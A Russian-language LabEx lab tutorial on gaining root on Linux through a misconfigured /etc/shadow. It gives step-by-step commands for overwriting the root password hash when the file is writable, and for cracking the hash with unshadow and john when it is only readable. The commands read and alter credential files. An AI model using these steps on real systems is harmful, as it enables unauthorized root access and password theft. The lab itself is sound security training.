Введение
Системы Linux используют файлы /etc/passwd и /etc/shadow для аутентификации пользователей и контроля доступа. Если системные администраторы неправильно настроят разрешения или содержимое этих файлов, это может создать возможности для атак по эскалации привилегий. В этом лабораторном занятии (LabEx) вы узнаете, как использовать файл /etc/shadow для получения привилегий суперпользователя (root) на системе Linux. В этом сценарии предполагается, что вы уже получили первоначальный доступ к оболочке (shell) с низкими привилегиями как обычный пользователь.
Понимание файла /etc/shadow
В этом шаге вы узнаете о структуре и назначении файла /etc/shadow.
Файл /etc/shadow хранит зашифрованные пароли и конфигурационную информацию, связанную с паролями, для каждой учетной записи пользователя. Каждая строка в файле представляет одного пользователя и содержит 9 полей, разделенных двоеточием:
- Имя пользователя (Username)
- Хэш зашифрованного пароля (Encrypted password hash)
- Количество дней с начала эпохи (1970-01-01), когда пароль был последний раз изменен
- Минимальное количество дней, которое должно пройти между изменениями пароля
- Максимальное количество дней, в течение которых пароль действителен
- Количество дней до истечения срока действия пароля, за которое пользователю выдается предупреждение
- Количество дней после истечения срока действия пароля, по истечении которых учетная запись будет отключена
- Количество дней с начала эпохи (1970-01-01), по истечении которых учетная запись будет отключена
- Резервное поле для будущего использования
Откройте терминал и перейдите в каталог /home/labex/project.
cd /home/labex/project
Проверим запись пользователя labex в файле /etc/shadow:
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
Обратите внимание, что мы использовали sudo для чтения файла /etc/shadow. Это связано с тем, что этот файл может быть прочитан только пользователем с правами суперпользователя (root).
Проверьте содержимое файла labex_shadow.txt:
cat labex_shadow.txt
Пример вывода:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
Эта строка означает:
- Имя пользователя:
labex - Хэш зашифрованного пароля:
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - Последнее изменение пароля: 19818 дней с начала эпохи (1970-01-01)
- Минимальный срок действия пароля: 0 дней (нет ограничений)
- Максимальный срок действия пароля: 99999 дней (без истечения срока)
- Период предупреждения о пароле: 7 дней до истечения срока
- Учетная запись никогда не истекает
По умолчанию только пользователь с правами суперпользователя (root) может читать и изменять файл /etc/shadow. Однако неправильно настроенные (misconfigured) разрешения могут иногда создать возможности для эскалации привилегий.
Повышение привилегий с помощью прав записи в файл /etc/shadow
В этом шаге вы узнаете, как эскалировать привилегии, изменив пароль суперпользователя (root) в файле /etc/shadow, если у вас есть доступ на запись к этому файлу.
Сначала откройте терминал и перейдите в каталог
/home/labex/project:cd /home/labex/projectВ этом каталоге вы найдете скрипт с именем
env_setup_1.sh. Запустите этот скрипт для настройки среды:./env_setup_1.shЭто настроит среду и переключит вас на пользователя
user001, имитируя первоначальный доступ к оболочке (shell) с низкими привилегиями.Перейдите в домашний каталог пользователя
user001:cd ~Затем проверьте разрешения файла
/etc/shadow:ls -alh /etc/shadowПример вывода:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowВы должны увидеть, что пользователь
user001имеет доступ на запись к файлу/etc/shadowиз-за неправильной настройки (misconfiguration).Теперь вы можете отредактировать файл
/etc/shadowи заменить хэш пароля суперпользователя (root) новым.Сначала просмотрите текущий хэш пароля суперпользователя:
cat /etc/shadow | grep rootПример вывода:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Чтобы установить новый пароль (например,
pass123), сгенерируйте новый хэш пароля с помощью утилитыopenssl:openssl passwd -1 -salt ignite pass123Пример вывода:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Откройте файл
/etc/shadowв текстовом редакторе и замените хэш пароля суперпользователя новым.nano /etc/shadowНайдите хэш пароля суперпользователя:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Замените хэш пароля новым:
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::Сохраните изменения и выйдите из редактора.
Наконец, используйте команду
su root, чтобы переключиться на суперпользователя (root), введя новый парольpass123при запросе.su root
Теперь у вас должны быть привилегии суперпользователя на системе.
Повышение привилегий с помощью прав чтения файла /etc/shadow
В этом шаге вы узнаете, как эскалировать привилегии, взломав хэш пароля суперпользователя (root), если у вас есть только доступ на чтение к файлу /etc/shadow.
После предыдущего шага вы должны быть в режиме пользователя root. Вы можете открыть новый терминал или использовать команду exit, чтобы выйти из текущего пользователя, пока не вернетесь к пользователю labex.
Когда вы находитесь в режиме пользователя
labex, перейдите в каталог/home/labex/project:cd /home/labex/projectЗапустите скрипт
env_setup_2.shдля настройки среды:./env_setup_2.shЭто создаст новую среду, в которой пользователь
user001имеет доступ на чтение к файлу/etc/shadow.Перейдите в домашний каталог пользователя
user001:cd ~Проверьте разрешения файла
/etc/shadow:ls -alh /etc/shadowПример вывода:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowВы должны увидеть, что пользователь
user001имеет доступ на чтение к файлу/etc/shadowиз - за неправильной настройки (misconfiguration).Затем мы можем использовать инструмент
johnдля взлома хэша пароля суперпользователя (root). Перед использованиемjohnвам нужно объединить содержимое файлов/etc/passwdи/etc/shadowс помощью командыunshadow:unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txtТеперь запустите
johnна файлеshadow_crack.txt, чтобы взломать хэш пароля суперпользователя (root) и сохранить взломанные пароли в файл:john --users=root shadow_crack.txt > cracked_passwords.txtПроверьте содержимое файла
cracked_passwords.txt, чтобы увидеть взломанный пароль:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)Наконец, используйте команду
su root, чтобы переключиться на суперпользователя (root), введя взломанный парольstudyпри запросе:su root
Теперь у вас должны быть привилегии суперпользователя на системе.
Резюме
В этом лабораторном занятии (LabEx) вы узнали о структуре и назначении файла /etc/shadow, а также о двух методах эскалации привилегий с использованием этого файла: изменении хэша пароля суперпользователя (root) при наличии доступа на запись или взломе хэша пароля суперпользователя при наличии доступа на чтение. Эти методы показывают важность правильной настройки разрешений файлов и защиты конфиденциальных системных файлов в среде Linux.